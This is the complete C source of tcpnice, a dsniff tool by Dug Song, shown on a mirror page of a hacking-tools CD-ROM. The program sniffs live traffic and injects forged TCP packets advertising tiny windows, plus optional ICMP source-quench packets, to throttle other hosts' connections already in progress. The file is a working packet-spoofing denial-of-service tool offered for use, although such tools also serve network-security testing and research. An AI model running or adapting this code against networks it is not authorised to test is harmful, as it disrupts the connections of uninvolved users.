home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / sectools / dsniff / tcpnice.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-01-27  |  6.3 KB  |  267 lines

  1. /*
  2.   tcpnice.c
  3.  
  4.   Slow down TCP connections already in progress.
  5.  
  6.   this program is a gross hack. feh.
  7.  
  8.   Copyright (c) 2000 Dug Song <dugsong@monkey.org>
  9.   All rights reserved, all wrongs reversed.
  10.  
  11.   Redistribution and use in source and binary forms, with or without
  12.   modification, are permitted provided that the following conditions
  13.   are met:
  14.  
  15.   1. Redistributions of source code must retain the above copyright
  16.      notice, this list of conditions and the following disclaimer.
  17.   2. Redistributions in binary form must reproduce the above copyright
  18.      notice, this list of conditions and the following disclaimer in the
  19.      documentation and/or other materials provided with the distribution.
  20.   3. The name of author may not be used to endorse or promote products
  21.      derived from this software without specific prior written permission.
  22.  
  23.   THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
  24.   INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
  25.   AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
  26.   THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
  27.   EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
  28.   PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
  29.   OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
  30.   WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
  31.   OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
  32.   ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  33.   
  34.   $Id: tcpnice.c,v 1.5 2000/01/27 17:59:36 dugsong Exp $
  35. */
  36.  
  37. #include <sys/types.h>
  38. #include <stdio.h>
  39. #include <stdlib.h>
  40. #include <unistd.h>
  41. #include <string.h>
  42. #include <libnet.h>
  43. #include <pcap.h>
  44.  
  45. #include "version.h"
  46.  
  47. #define MIN_NICE    1
  48. #define MAX_NICE    20
  49. #define DEFAULT_NICE    16
  50.  
  51. /* Globals. */
  52. int Opt_nice = DEFAULT_NICE;
  53. int Opt_verbose = 0;
  54. int Opt_icmp = 0;
  55. int pcap_dl_offset;
  56.  
  57. void
  58. usage(void)
  59. {
  60.   fprintf(stderr, "Usage: tcpnice [-v] [-I] [-i interface] [-n increment] [expression]\n");
  61.   exit(1);
  62. }
  63.  
  64. /* Start sniffing on an interface. */
  65. pcap_t *
  66. pcap_init(char *intf, char *filter, int snaplen)
  67. {
  68.   pcap_t *pd;
  69.   u_int net, mask;
  70.   struct bpf_program fcode;
  71.   char ebuf[PCAP_ERRBUF_SIZE];
  72.  
  73.   if ((pd = pcap_open_live(intf, snaplen, 1, 1024, ebuf)) == NULL) {
  74.     fprintf(stderr, "%s\n", ebuf);
  75.     return (NULL);
  76.   }
  77.   if (pcap_lookupnet(intf, &net, &mask, ebuf) == -1) {
  78.     fprintf(stderr, "%s\n", ebuf);
  79.     return (NULL);
  80.   }  
  81.   if (pcap_compile(pd, &fcode, filter, 1, mask) < 0) {
  82.     pcap_perror(pd, "pcap_compile");
  83.     return (NULL);
  84.   }
  85.   if (pcap_setfilter(pd, &fcode) == -1) {
  86.     pcap_perror(pd, "pcap_compile");
  87.     return (NULL);
  88.   }
  89.   switch (pcap_datalink(pd)) {
  90.   case DLT_EN10MB:
  91.     pcap_dl_offset = 14;
  92.     break;
  93.   case DLT_IEEE802:
  94.     pcap_dl_offset = 22;
  95.     break;
  96.   case DLT_FDDI:
  97.     pcap_dl_offset = 21;
  98.     break;
  99. #ifdef DLT_LOOP
  100.   case DLT_LOOP:
  101. #endif
  102.   case DLT_NULL:
  103.     pcap_dl_offset = 4;
  104.     break;
  105.   default:
  106.     fprintf(stderr, "unsupported datalink type\n");
  107.     return (NULL);
  108.   }
  109.   return (pd);
  110. }
  111.  
  112. /* from tcpdump util.c. */
  113. char *
  114. copy_argv(register char **argv)
  115. {
  116.   char **p, *buf, *src, *dst;
  117.   u_int len = 0;
  118.   
  119.   p = argv;
  120.   if (*p == 0)
  121.     return 0;
  122.   
  123.   while (*p)
  124.     len += strlen(*p++) + 1;
  125.   
  126.   if ((buf = (char *)malloc(len)) == NULL) {
  127.     perror("malloc");
  128.     exit(1);
  129.   }
  130.   p = argv;
  131.   dst = buf;
  132.   while ((src = *p++) != NULL) {
  133.     while ((*dst++ = *src++) != '\0')
  134.       ;
  135.     dst[-1] = ' ';
  136.   }
  137.   dst[-1] = '\0';
  138.   
  139.   return buf;
  140. }
  141.  
  142. void
  143. tcp_nice_loop(pcap_t *pd, int sock)
  144. {
  145.   struct pcap_pkthdr pkthdr;
  146.   struct ip *ip;
  147.   struct tcphdr *tcp;
  148.   struct icmp *icmp;
  149.   u_char *pkt, buf[IP_H + ICMP_ECHO_H + 128];
  150.   int len, nice;
  151.  
  152.   libnet_seed_prand();
  153.  
  154.   nice = 160 / Opt_nice;
  155.   
  156.   for (;;) {
  157.     if ((pkt = (char *)pcap_next(pd, &pkthdr)) != NULL) {
  158.       ip = (struct ip *)(pkt + pcap_dl_offset);
  159.       if (ip->ip_p != IPPROTO_TCP) continue;
  160.       
  161.       tcp = (struct tcphdr *)((u_char *)ip + (ip->ip_hl * 4));
  162.       if (tcp->th_flags & (TH_SYN|TH_FIN|TH_RST) ||
  163.       ntohs(tcp->th_win) == nice)
  164.     continue;
  165.  
  166.       if (Opt_icmp) {
  167.     /* Send ICMP source quench. */
  168.     len = (ip->ip_hl * 4) + 8;
  169.     libnet_build_ip(ICMP_ECHO_H + len, 0, libnet_get_prand(PRu16),
  170.             0, 64, IPPROTO_ICMP, ip->ip_dst.s_addr,
  171.             ip->ip_src.s_addr, NULL, 0, buf);
  172.     
  173.     icmp = (struct icmp *)(buf + IP_H);
  174.     icmp->icmp_type = 4;
  175.     icmp->icmp_code = 0;
  176.     memcpy((u_char *)icmp + ICMP_ECHO_H, (u_char *)ip, len);
  177.     
  178.     libnet_do_checksum(buf, IPPROTO_ICMP, ICMP_ECHO_H + len);
  179.     len += (IP_H + ICMP_ECHO_H);
  180.     if (libnet_write_ip(sock, buf, len) != len)
  181.       perror("write");
  182.       }
  183.       
  184.       /* Send tiny window advertisement. */
  185.       ip->ip_hl = 5;
  186.       ip->ip_len = htons(IP_H + TCP_H);
  187.       ip->ip_id = libnet_get_prand(PRu16);
  188.       memcpy(buf, (u_char *)ip, IP_H);
  189.       
  190.       tcp->th_off = 5;
  191.       tcp->th_win = htons(nice);
  192.       memcpy(buf + IP_H, (u_char *)tcp, TCP_H);
  193.       
  194.       libnet_do_checksum(buf, IPPROTO_TCP, TCP_H);
  195.       len = IP_H + TCP_H;
  196.       if (libnet_write_ip(sock, buf, len) != len)
  197.     perror("write");
  198.       
  199.       if (Opt_verbose)
  200.     fprintf(stderr, "slow %s:%d > %s:%d\n",
  201.         libnet_host_lookup(ip->ip_src.s_addr, 0), ntohs(tcp->th_sport),
  202.         libnet_host_lookup(ip->ip_dst.s_addr, 0), ntohs(tcp->th_dport));
  203.     }
  204.   }
  205. }
  206.  
  207. int
  208. main(int argc, char *argv[])
  209. {
  210.   int c, sock;
  211.   char *intf, *filter, ebuf[PCAP_ERRBUF_SIZE];
  212.   pcap_t *pd;
  213.  
  214.   intf = NULL;
  215.  
  216.   while ((c = getopt(argc, argv, "i:n:vIh?V")) != -1) {
  217.     switch (c) {
  218.     case 'i':
  219.       intf = optarg;
  220.       break;
  221.     case 'n':
  222.       Opt_nice = atoi(optarg);
  223.       if (Opt_nice < MIN_NICE || Opt_nice > MAX_NICE)
  224.     usage();
  225.       break;
  226.     case 'v':
  227.       Opt_verbose = 1;
  228.       break;
  229.     case 'I':
  230.       Opt_icmp = 1;
  231.       break;
  232.     case 'V':
  233.       fprintf(stderr, "Version: %s\n", VERSION);
  234.       usage();
  235.       break;
  236.     default:
  237.       usage();
  238.       break;
  239.     }
  240.   }
  241.   if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL) {
  242.     fprintf(stderr, "%s\n", ebuf);
  243.     exit(1);
  244.   }
  245.   argc -= optind;
  246.   argv += optind;
  247.  
  248.   if (argc == 0) filter = "tcp[13] & 16 != 0";
  249.   else filter = copy_argv(argv);
  250.   
  251.   if ((pd = pcap_init(intf, filter, 128)) == NULL)
  252.     exit(1);
  253.   
  254.   if ((sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1) {
  255.     perror("socket");
  256.     exit(1);
  257.   }
  258.   
  259.   tcp_nice_loop(pd, sock);
  260.   
  261.   /* NOTREACHED */
  262.   
  263.   exit(0);
  264. }
  265.  
  266. /* 5000. */
  267.